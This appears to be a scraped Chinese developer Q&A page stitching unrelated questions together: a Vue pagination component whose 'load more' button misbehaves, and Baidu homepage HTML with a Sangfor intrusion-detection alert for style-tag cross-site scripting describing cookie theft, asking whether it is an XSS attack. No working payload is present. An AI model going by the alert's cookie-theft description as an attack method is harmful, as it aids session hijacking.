&lt;span v-if="item1 == 5">  直管公房   &lt;/span> &lt;span v-if="item1 == 6">  军产房   &lt;/span> &lt;span v-if="item1 == 7">  三供一业   &lt;/span> &lt;span v-if="item1 == 8">  非经资产移交   &lt;/span> &lt;span v-if="item1 == 9">  房改售房   &lt;/span> &lt;span v-if="item1 == 10">  回迁安置房   &lt;/span> &lt;span v-if="item1 == -99">  其他   &lt;/span> &lt;/span> &lt;/div> &lt;!-- &lt;div v-else>&lt;/div> --> &lt;/div> &lt;a-button class="moreBtn" @click="getprojectListMsg" :disabled="moreDisabled"> {{ moreText }} &lt;van-icon name="arrow-down" /> &lt;/a-button> &lt;!-- 增加一个空div 顶高度--> &lt;div style="height: 100px;width:100%">&lt;/div> &lt;/a-spin> &lt;!-- &lt;/van-tab>--> &lt;!-- &lt;van-tab title="小区列表" name="1">--> &lt;!-- &lt;div style="font-size: 14px">--> &lt;!-- &lt;div class="itemBox" v-for="(item, i) in tab2ListData" :key="i" @click="showDetail(item.id)">--> &lt;!-- &lt;div class="contentBox">--> &lt;!-- &lt;div class="imgBox">--> &lt;!-- &lt;!– &lt;van-image src="" width="50px" height="50px">--> &lt;!-- &lt;template v-slot:loading>--> &lt;!-- &lt;van-loading type="spinner" size="20" />--> &lt;!-- &lt;/template>--> &lt;!-- &lt;/van-image> –>--> &lt;!-- &lt;template v-if="item.imgUrl">--> &lt;!-- &lt;van-image :src="item.imgUrl" width="50px" height="50px">--> &lt;!-- &lt;template v-slot:loading>--> &lt;!-- &lt;van-loading type="spinner" size="20" />--> &lt;!-- &lt;/template>--> &lt;!-- &lt;template v-slot:error>加载失败&lt;/template>--> &lt;!-- &lt;/van-image>--> &lt;!-- &lt;/template>--> &lt;!-- &lt;template v-else>--> &lt;!-- &lt;div--> &lt;!-- style="--> &lt;!-- margin-top: 20px;--> &lt;!-- width: 50px;--> &lt;!-- height: 50px;--> &lt;!-- display: flex;--> &lt;!-- align-items: center;--> &lt;!-- justify-content: center;--> &lt;!-- background: #f0f0f0;--> &lt;!-- color: #999;--> &lt;!-- font-size: 12px;--> &lt;!-- "--> &lt;!-- >--> &lt;!-- 暂无图片--> &lt;!-- &lt;/div>--> &lt;!-- &lt;/template>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;div class="msgBox">--> &lt;!-- &lt;p>{{ item.xmmc ? item.xmmc : &#39;&#39; }}&lt;/p>--> &lt;!-- &lt;p>物业服务企业:{{ item.wyfwqy ? item.wyfwqy : &#39;暂无企业&#39; }}&lt;/p>--> &lt;!-- &lt;p>--> &lt;!-- 更新时间:--> &lt;!-- {{ item.updateTime ? item.updateTime : &#39;暂无更新时间&#39; }}--> &lt;!-- &lt;/p>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;!– &lt;van-icon class="iconBox" name="edit" /> –>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;div--> &lt;!-- class="typeBox"--> &lt;!-- v-if="item.fwxz"--> &lt;!-- :class="[--> &lt;!-- item.fwxz == 1 || item.fwxz == 2 || item.fwxz == 3 || item.fwxz == 4 || item.fwxz == 5--> &lt;!-- ? &#39;personalType&#39;--> &lt;!-- : &#39;publicType&#39;--> &lt;!-- ]"--> &lt;!-- >--> &lt;!-- &lt;span v-for="(item1, i1) in item.fwxz" :key="i1">--> &lt;!-- &lt;span v-if="item1 == 1">  商品住宅   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 2">  商住两用   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 3">  共有产权   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 4">  保障性住房(经适房、公租房等) )  &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 5">  直管公房   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 6">  军产房   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 7">  三供一业   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 8">  非经资产移交   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 9">  房改售房   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 10">  回迁安置房   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == -99">  其他   &lt;/span>--> &lt;!-- &lt;/span>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;div v-else>&lt;/div>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;a-button class="moreBtn" @click="getTab2List" :disabled="moreDisabled">--> &lt;!-- {{ moreText }}--> &lt;!-- &lt;van-icon name="arrow-down" />--> &lt;!-- &lt;/a-button>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;/van-tab>--> &lt;!-- &lt;/van-tabs>--> &lt;/div> &lt;!-- &lt;div class="container">--> &lt;!-- &lt;div v-for="(item,i) of notifyList" class="project_list_item">--> &lt;!-- &lt;/div>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;div class="fixedBox"> 专题 &lt;br />图层 &lt;/div> --> &lt;!-- 顶部小区查询项弹框 --> &lt;!-- &lt;van-popup--> &lt;!-- v-model="checkboxGroupShow"--> &lt;!-- position="bottom"--> &lt;!-- :style="{ height: &#39;50%&#39;,zIndex:9999 }">--> &lt;!-- &lt;div class="my_checkbox_popup">--> &lt;!-- &lt;p class="cancel" @click="cancel(true)">取消&lt;/p>--> &lt;!-- &lt;p class="confirm" @click="comfirm">确认&lt;/p>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;van-checkbox-group v-model="checkboxGroupIds">--> &lt;!-- &lt;van-cell-group>--> &lt;!-- &lt;van-cell--> &lt;!-- class="my_checkbox_popup_cell"--> &lt;!-- v-for="(items, index) in dataOption"--> &lt;!-- clickable--> &lt;!-- :key="index"--> &lt;!-- :title="items.name"--> &lt;!-- @click="onSelect(items,index)">--> &lt;!-- &lt;template #right-icon>--> &lt;!-- &lt;van-checkbox :name="items.id" ref="CoverableCities" class="my_checkbox_popup_item" />--> &lt;!-- &lt;/template>--> &lt;!-- &lt;/van-cell>--> &lt;!-- &lt;/van-cell-group>--> &lt;!-- &lt;/van-checkbox-group>--> &lt;!-- &lt;/van-popup>--> &lt;/div> &lt;/template> &lt;script&gt; import rolemixins from &#39;@/utils/rolemixins&#39;; import { managerListMsg, xioaquList } from &#39;@/api/comm&#39;; import { getSendRangeData } from &#39;@/api/home&#39;; import { getSqmcData } from &#39;@/api/userState&#39;; export default { name: &#39;projectList&#39;, components: {}, mixins: [rolemixins], data() { return { listData: [], tab2ListData: [], activeName: &#39;tab1&#39;, pathStr: this.$route.path, pathName: this.$route.meta.title ? this.$route.meta.title : &#39;&#39;, query: {}, //分页 pane: { pageNo: 1, total: 0, pageSize: 10 }, sfwzyhwyValue: false, moreDisabled: false, moreText: &#39;加载更多&#39;, streetColumns: [], townColumns: [], spinning: false, timer: null }; }, created() { }, activated() { }, beforeDestroy() { if (this.timer) { clearTimeout(this.timer); } }, mounted() { // this.initCheckboxGroup(); // this.getData(); this.getprojectListMsg(); this.getStreetData(); }, methods: { // 切换tab changeTab(tab) { this.activeName = tab; // this.getTab2List(); console.log(&#39;ffffff&#39;, tab); this.pane.pageNo = 1; this.moreDisabled = false; this.moreText = &#39;加载更多&#39;; this.pane.total = 0; this.listData = []; this.tab2ListData = []; if (tab == &#39;0&#39;) { this.getprojectListMsg(); } else { this.getTab2List(); } }, // 获取数据列表接口 getData() { let params = { id: 1 }; }, // 获取所有项目 async getprojectListMsg() { this.spinning = true; const res = await managerListMsg(this.pane); if (res.success) { this.pane.total = res.result.total; this.listData = [...this.listData, ...res.result.records]; this.listData.forEach((item) => { if (item.fwxz && !Array.isArray(item.fwxz)) { item.fwxz = item.fwxz.split(&#39;,&#39;); } else { item.fwxz = item.fwxz || []; } }); this.$forceUpdate(); if (this.listData.length >= this.pane.total) { this.moreDisabled = true; this.moreText = &#39;没有更多了&#39;; } else { this.moreDisabled = false; this.moreText = &#39;加载更多&#39;; } } this.spinning = false; }, // 获取小区列表 getTab2List() { xioaquList(this.pane).then((res) => { this.pane.total = res.result.total; this.pane.pageNo = this.pane.pageNo + 1; if (res.code == 200) { if (res.result.records.length &lt; this.pane.pageSize) { this.moreDisabled = true; this.moreText = &#39;没有更多了&#39;; this.tab2ListData = [...this.tab2ListData, ...res.result.records]; this.$forceUpdate(); } else { this.moreDisabled = false; this.moreText = &#39;加载更多&#39;; this.tab2ListData = [...this.tab2ListData, ...res.result.records]; this.$forceUpdate(); } } }); }, // 跳转项目信息详情 filterOption(inputValue, option) { return option.data.attrs.lable ? option.data.attrs.lable.includes(inputValue) : null; }, // 获取街镇数据以及社区数据 getStreetData() { getSendRangeData().then((res) => { this.streetColumns = res.result; }); }, // 获取社区数据 getTownData(val) { getSqmcData({ id: val }).then((res) => { this.townColumns = res.result; }); }, handleTownConfirm(val) { this.sqmcName = val.departName; this.pane.sqmc = val.id; this.townPicker = false; }, handleSearch() { console.log(this.pane); this.pane.pageNo = 1; this.moreDisabled = false; this.moreText = &#39;加载更多&#39;; this.listData = []; this.getprojectListMsg(); }, handleReset() { this.pane = { xmmc: &#39;&#39;, szjz: undefined, sqmc: undefined, pageNo: 1, pageSize: 10, total: 0 }; this.moreDisabled = false; this.townColumns = []; this.moreDisabled = false this.moreText = &#39;加载更多&#39;; this.listData = []; this.$nextTick(() => { this.$forceUpdate }) this.getprojectListMsg(); }, showDetail(id) { this.$router.push({ path: &#39;/listDetail&#39;, query: { id: id } }); }, changeZyhwy(e) { this.pane.sfwzyhwy = this.sfwzyhwyValue ? 1 : 0; this.reLoadData(); }, handleStreetChange(val) { // 清空社区 this.pane.sqmc = undefined; this.getTownData(val); // this.reLoadData(); }, handleSQChange(val) { this.pane.sqmc = val; // this.reLoadData(); }, reLoadData() { this.pane.pageNo = 1; this.moreDisabled = false; this.moreText = &#39;加载更多&#39;; this.listData = []; this.getprojectListMsg(); }, // changeXmmc(e) { // if (this.timer) { // clearTimeout(this.timer); // } // this.timer = setTimeout(() => { // this.moreDisabled = false; // this.moreText = &#39;加载更多&#39;; // this.listData = []; // // this.getprojectListMsg(); // }, 1000); // } // checkboxGroupShowFn() { // this.checkboxGroupShow = true; // } // initCheckboxGroup() { // this.checkboxGroupIds = []; // this.checkboxGroup = []; // }, // onSelect(items, index) { // this.$refs.CoverableCities[index].toggle(); // }, // comfirm() { // let text = []; // this.dataOption.map((its, i) => { // if (this.checkboxGroupIds.indexOf(its.id) !== -1) { // text.push(its); // } // }); // this.checkboxGroup = text; // this.$forceUpdate(); // this.cancel(false); // }, // cancel(flag) { // this.$forceUpdate(); // this.checkboxGroupShow = false; // if (flag) { // this.initCheckboxGroup(); // } // }, // deleteCheckbox(item) { // this.checkboxGroup.map((its, index) => { // if (item.id === its.id) { // this.checkboxGroup.splice(index, 1); // } // }); // this.checkboxGroupIds = this.checkboxGroup.map(its => { // return its.id; // }); // console.log(this.checkboxGroup, this.checkboxGroupIds, &#39;----deleteCheckbox&#39;); // } } }; &lt;/script&gt; &lt;style scoped lang="less"> @import &#39;~@/assets/css/comm.less&#39;; .economicdevelopment-page { height: 100%; .fixedBox { width: 80px; height: 80px; border-radius: 50%; box-shadow: 5px 5px 5px #ccc, -5px -5px 5px #ccc, 5px -5px 5px #ccc, -5px 5px 5px #ccc; position: absolute; bottom: 20px; right: 20px; background: #fff; font-size: 14px; text-align: center; display: flex; align-items: center; justify-content: center; } .top_box { width: auto; height: 40px; background: #fff; border: 1px solid #3b77b3; position: relative; display: flex; align-items: center; padding: 0 5px; margin: 0 10px; .right_icon { position: absolute; top: 5px; right: 10px; } p { padding: 5px 10px 20px 10px; height: 24px; background: rgba(59, 119, 179, 0.15); border-radius: 12px; border: 1px solid rgba(59, 119, 179, 0.5); color: #3b77b3; font-size: 12px; font-weight: 500; font-family: PingFangSC, PingFang SC; margin: 0 2px; span { display: inline-block; margin-right: 10px; } } div.placeholder { width: 100%; color: #d4d3d3; font-size: 16px; font-weight: normal; text-align: center; } } /deep/ .van-tabs__content { overflow-y: scroll; } .tabBox { width: auto; margin: 0 10px; margin-top: 5px; height: 65vh; overflow: hidden; overflow-y: scroll; .itemBox { width: 100%; //height: 80px; position: relative; font-size: 12px; padding: 10px; background: #fff; margin-bottom: 10px; display: flex; align-items: flex-end; margin-top: 5px; .contentBox { display: flex; justify-content: space-between; text-align: center; width: 100%; .iconBox { font-size: 26px; width: auto; height: 30px; line-height: 60px; } .msgBox { text-align: left; width: 200px; } .imgBox { width: 50px; height: 50px; display: flex; align-items: center; justify-content: center; } } .typeBox { position: absolute; height: 20px; line-height: 20px; top: 0; right: 10px; text-align: center; padding: 0 5px; max-width: 50%; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .personalType { background: #e99d42; } .publicType { background: #a2ef4d; } } } //.container { // height: 100% !important; // padding: 0 12.5px; // //} } .my_checkbox_popup { width: 100%; height: 45px; line-height: 45px; margin-bottom: 5px; display: flex; justify-content: space-between; align-items: center; p { height: 100%; padding: 0 0.42667rem; font-size: 0.37333rem; background-color: transparent; border: none; cursor: pointer; } p.cancel { color: #969799; } p.confirm { color: #576b95; } } .my_checkbox_popup_cell { /deep/ .van-cell__title { padding: 8px 10px; } } .my_checkbox_popup_item { padding: 10px 15px; } .moreBtn { text-align: center; color: #1989fa; border: none; width: 100%; background: #fff; } .userLoginSearch { background-color: #fff; border-radius: 10px; padding: 10px; margin: 10px 0; .checkboxContainer { width: 100%; border-radius: 10px; border: 1px solid #3b77b3; font-size: 14px; padding: 0 8px; height: 32px; line-height: 32px; display: flex; align-items: center; justify-content: space-between; color: #3b77b3; } } .search-reset-btns { // background-color: #3c78b1; display: flex; gap: 10px; .van-button { background-color: #3c78b1; flex: 1; font-size: 14px; color: #ffffff; } } ::v-deep .ant-select-selection { border-color: #3b77b3; border-radius: 10px; color: #3b77b3; .ant-select-selection__placeholder { color: #3b77b3; } } ::v-deep .ant-input { border-color: #3b77b3; border-radius: 10px; padding-left: 8px; color: #3b77b3; &::placeholder { color: #3b77b3; } } &lt;/style> managerListMsg接口请求回来的数据只有10条, 页面都显示出来了, 下面应该显示没有更多了, 现在显示的还是加载更多
08-09
class="bg s_btn">&lt;/span> &lt;/form> &lt;/div> &lt;/div> &lt;div id=u1> &lt;a href=http://news.baidu.com name=tj_trnews class=mnav>新闻&lt;/a> &lt;a href=http://www.hao123.com name=tj_trhao123 class=mnav>hao123&lt;/a> &lt;a href=http://map.baidu.com name=tj_trmap class=mnav>地图&lt;/a> &lt;a href=http://v.baidu.com name=tj_trvideo class=mnav>视频&lt;/a> &lt;a href=http://tieba.baidu.com name=tj_trtieba class=mnav>贴吧&lt;/a> &lt;noscript&gt; &lt;a href=http://www.baidu.com/bdorz/login.gif?login&amp;tpl=mn&amp;u=http://www.baidu.com/?bdorz_come=1 name=tj_login class=lb>登录&lt;/a> &lt;/noscript&gt; &lt;script&gt;document.write(&#39;&lt;a href="http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u=&#39; encodeURIComponent(window.location.href (window.location.search === "" ? "?" : "&") "bdorz_come=1") &#39;" name="tj_login" class="lb">登录&lt;/a>&#39;);&lt;/script&gt; &lt;a href=/www.baidu.com/more/ name=tj_briicon class=bri style="display: block;">更多产品&lt;/a> &lt;/div> &lt;/div> &lt;/div> &lt;div id=ftCon> &lt;div id=ftConw> &lt;p id=lh> &lt;a href=http://home.baidu.com>关于百度&lt;/a> &lt;a href=http://ir.baidu.com>About Baidu&lt;/a> &lt;/p> &lt;p id=cp>&copy;2017&nbsp;Baidu&nbsp;&lt;a href=http://www.baidu.com/duty/>使用百度前必读&lt;/a>&nbsp; &lt;a href=http://jianyi.baidu.com/ class=cp-feedback>意见反馈&lt;/a>&nbsp;京ICP证030173号&nbsp; &lt;img src=/www.baidu.com/img/gs.gif> &lt;/p> &lt;/div> &lt;/div> &lt;/div> &lt;/body> 危害说明:攻击者利用此漏洞盗取用户COOKIE信息,伪造用户身份登录WEB系统,当盗取的是普通用户的COOKIE时,普通用户的个人安全受到威胁,当盗取的是管理员或者特殊用户的COOKIE时,威胁到整个WEB系统的安全。 规则名称:style标签跨站脚本攻击 参考信息:- 解决方案:- 深信服Wiki:https://sec.sangfor.com.cn/security-vulnerability/detail?vuln_sfv=SF_2019_04065&lang=ZH-CN class="bg s_btn">&lt;/span> &lt;/form> &lt;/div> &lt;/div> &lt;div id=u1> &lt;a href=http://news.baidu.com name=tj_trnews class=mnav>新闻&lt;/a> &lt;a href=http://www.hao123.com name=tj_trhao123 class=mnav>hao123&lt;/a> &lt;a href=http://map.baidu.com name=tj_trmap class=mnav>地图&lt;/a> &lt;a href=http://v.baidu.com name=tj_trvideo class=mnav>视频&lt;/a> &lt;a href=http://tieba.baidu.com name=tj_trtieba class=mnav>贴吧&lt;/a> &lt;noscript&gt; &lt;a href=http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u=http://www.baidu.com/?bdorz_come=1 name=tj_login class=lb>登录&lt;/a> &lt;/noscript&gt; &lt;script&gt;document.write(&#39;&lt;a href="http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u=&#39; encodeURIComponent(window.location.href (window.location.search === "" ? "?" : "&") "bdorz_come=1") &#39;" name="tj_login" class="lb">登录&lt;/a>&#39;);&lt;/script&gt; &lt;a href=/www.baidu.com/more/ name=tj_briicon class=bri style="display: block;">更多产品&lt;/a> &lt;/div> &lt;/div> &lt;/div> &lt;div id=ftCon> &lt;div id=ftConw> &lt;p id=lh> &lt;a href=http://home.baidu.com>关于百度&lt;/a> &lt;a href=http://ir.baidu.com>About Baidu&lt;/a> &lt;/p> &lt;p id=cp>©2017 Baidu &lt;a href=http://www.baidu.com/duty/>使用百度前必读&lt;/a>  &lt;a href=http://jianyi.baidu.com/ class=cp-feedback>意见反馈&lt;/a> 京ICP证030173号  &lt;img src=/www.baidu.com/img/gs.gif> &lt;/p> &lt;/div> &lt;/div> &lt;/div> &lt;/body> 这段完整数据包是否为XSS攻击
最新发布
11-05
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值